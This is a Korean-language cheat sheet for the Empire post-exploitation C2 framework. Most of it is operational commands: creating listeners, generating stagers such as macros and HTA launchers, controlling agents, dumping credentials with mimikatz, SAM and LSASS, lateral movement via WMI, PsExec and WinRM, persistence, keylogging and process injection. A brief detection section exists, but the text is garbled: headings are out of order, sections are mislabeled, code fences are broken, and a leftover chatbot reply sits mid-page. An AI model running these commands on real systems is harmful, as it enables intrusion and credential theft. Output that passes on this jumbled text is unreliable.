Empire 프레임워크 치트 시트
## 개요
Empire는 순수 PowerShell 2.0 Windows 에이전트와 순수 Python 3 Linux/macOS 에이전트를 포함하는 사후 익스플로이트 프레임워크입니다. 레드팀 작전, 침투 테스트 및 적대적 에뮬레이션을 위한 강력한 명령 및 제어(C2) 인프라를 제공합니다.
⚠️ 경고: Empire는 보안 테스트 도구로, 명시적인 허가가 있는 환경에서만 사용해야 합니다.
설치
GitHub에서
Docker 사용
Kali Linux에서
기본 사용법
Empire 시작하기
Starkiller (GUI) 사용하기
Empire CLI 탐색
리스너
리스너 생성
일반적인 리스너 옵션
리스너 관리
스테이저
스테이저 생성
일반적인 스테이저 유형
에이전트
에이전트 명령
에이전트 관리
모듈
모듈 사용
일반적인 모듈 카테고리
자격 증명 접근
상황 인식
측면 이동
지속성
고급 기능
변형 가능한 C2 프로파일
Would you like me to fill in the remaining sections with more specific translations?```bash
Clone the repository
git clone https://github.com/BC-SECURITY/Empire.git
Navigate to the directory
cd Empire
Run the installation script
sudo ./setup/install.sh
### Using Docker
```bash
# Pull the Docker image
docker pull bcsecurity/empire:latest
# Run the container
docker run -it -p 1337:1337 -p 5000:5000 bcsecurity/empire:latest
On Kali Linux
# Install from package manager
sudo apt update
sudo apt install powershell-empire
Basic Usage
Starting Empire
# Start the Empire server
sudo empire
# Start with REST API (for Starkiller)
sudo empire --rest --username <username> --password <password>
Using Starkiller (GUI)
# Install Starkiller
npm install -g @starkiller/starkiller
# Run Starkiller
starkiller
Empire CLI Navigation
| 명령어 | 설명 |
|---|---|
help | 도움말 메뉴 표시 |
menu | 메인 메뉴로 돌아가기 |
back | 한 단계 이전 메뉴로 돌아가기 |
exit | 엑시트 엠파이어 |
usemodule <module> | 사용할 모듈을 선택하세요 |
usestager <stager> | 사용할 스테이저를 선택하세요 |
uselistener <listener> | 사용할 리스너를 선택하세요 |
interact <agent> | 에이전트와 상호작용하기 |
searchmodule <term> | 모듈 검색 |
Listeners
Creating a Listener
# In Empire CLI
listeners
uselistener http
set Name http_listener
set Host 192.168.1.100
set Port 8080
execute
Common Listener Options
| 옵션 | 설명 |
|---|---|
Name | 청취자를 위한 이름 |
Host | 스테이징을 위한 IP/호스트명 |
Port | 리스너를 위한 포트 |
CertPath | HTTPS를 위한 인증서 경로 |
DefaultDelay | 에이전트 콜백 지연 (초 단위) |
DefaultJitter | 에이전트 콜백의 지터 (0.0-1.0) |
DefaultProfile | 기본 통신 프로필 |
KillDate | 청취자가 종료할 날짜 (MM/DD/YYYY) |
WorkingHours | 콜백을 위한 상담원 근무 시간 (09:00-17:00) |
Listener Management
# List all listeners
listeners
# Kill a listener
kill http_listener
# View a listener's options
info http_listener
Stagers
Generating a Stager
# In Empire CLI
usestager windows/launcher_bat
set Listener http_listener
generate
Common Stager Types
| 스테이저 | 설명 |
|---|---|
windows/launcher_bat | BAT 파일 런처 |
windows/launcher_vbs | VBS 스크립트 런처 |
windows/launcher_powershell | PowerShell 런처 |
multi/launcher | 멀티 플랫폼 런처 |
osx/launcher | macOS 런처 |
linux/launcher | Linux 런처 |
windows/dll | DLL 런처 |
windows/macro | 오피스 매크로 런처 |
windows/hta | HTA 런처 |
Agents
Agent Commands
# List all agents
agents
# Interact with an agent
interact C2AGENT123
# Get agent info
info
# Execute a shell command
shell whoami
# Run a PowerShell command
powershell Get-Process
# Upload a file
upload /path/to/local/file /path/on/target
# Download a file
download /path/on/target /local/path
# Take a screenshot
screenshot
# Exit agent menu
back
Agent Management
# Rename an agent
rename C2AGENT123 new_name
# Kill an agent
kill C2AGENT123
# Remove an agent from the database
remove C2AGENT123
# Set sleep interval
sleep 30
# Set jitter percentage
sysinfo
Modules
Using Modules
# List available modules
usemodule
# Search for modules
searchmodule credentials
# Use a specific module
usemodule powershell/situational_awareness/network/powerview/get_user
# Set module options
set Username administrator
# Execute the module
execute
Common Module Categories
Credential Access
# Dump credentials from memory
usemodule powershell/credentials/mimikatz/logonpasswords
# Dump SAM database
usemodule powershell/credentials/sam
# Dump LSASS process
usemodule powershell/credentials/credential_injection/lsass_dump
Situational Awareness
# Get domain users
usemodule powershell/situational_awareness/network/powerview/get_user
# Get domain computers
usemodule powershell/situational_awareness/network/powerview/get_computer
# Get domain groups
usemodule powershell/situational_awareness/network/powerview/get_group
Lateral Movement
# WMI lateral movement
usemodule powershell/lateral_movement/invoke_wmi
# PSExec lateral movement
usemodule powershell/lateral_movement/invoke_psexec
# WinRM lateral movement
usemodule powershell/lateral_movement/invoke_winrm
Persistence
# Registry persistence
usemodule powershell/persistence/userland/registry
# Scheduled task persistence
usemodule powershell/persistence/userland/schtasks
# WMI persistence
usemodule powershell/persistence/elevated/wmi
Advanced Features
Malleable C2 Profiles
# In Empire CLI
profiles
use default
set DefaultProfile /path/to/profile.profile
```### OPSEC 고려사항
Set agent kill date
set KillDate 01/01/2025
Set working hours
set WorkingHours 09:00-17:00
Increase agent sleep time
sleep 300 30
Use keylogging module
usemodule powershell/collection/keylogger
Use clipboard monitoring
usemodule powershell/collection/clipboard_monitor
Use screenshot module
usemodule powershell/collection/screenshot
### 일반적인 문제들
```bash
# Check if the listener is running
listeners
# Verify firewall settings
sudo iptables -L
# Check for port conflicts
netstat -tuln|grep <port>
```**연결 문제**
```bash
# Verify agent is running
agents
# Check for network connectivity issues
# Verify sleep/jitter settings
# Check module requirements
info
# Verify agent privileges
shell whoami
# Try running in a different process context
usemodule powershell/management/psinject
```**에이전트 체크인 실패**
```powershell
# Enable PowerShell Script Block Logging
Set-ItemProperty -Path "HKLM:\SOFTWARE\Wow6432Node\Policies\Microsoft\Windows\PowerShell\ScriptBlockLogging" -Name "EnableScriptBlockLogging" -Value 1
# Enable PowerShell Module Logging
Set-ItemProperty -Path "HKLM:\SOFTWARE\Wow6432Node\Policies\Microsoft\Windows\PowerShell\ModuleLogging" -Name "EnableModuleLogging" -Value 1
# Enable Constrained Language Mode
$ExecutionContext.SessionState.LanguageMode = "ConstrainedLanguage"
https://github.com/BC-SECURITY/Empire 모듈 실행 실패 https://bc-security.gitbook.io/empire-wiki/
방어 조치
탐지 방법
- PowerShell 스크립트 블록 로깅
- PowerShell 모듈 로깅
- AMSI (안티말웨어 스캔 인터페이스)
- 네트워크 트래픽 분석
- 행동 분석
예방 기술
https://github.com/BC-SECURITY/Starkiller
리소스
- BC Security GitHub
- [Empire 위키](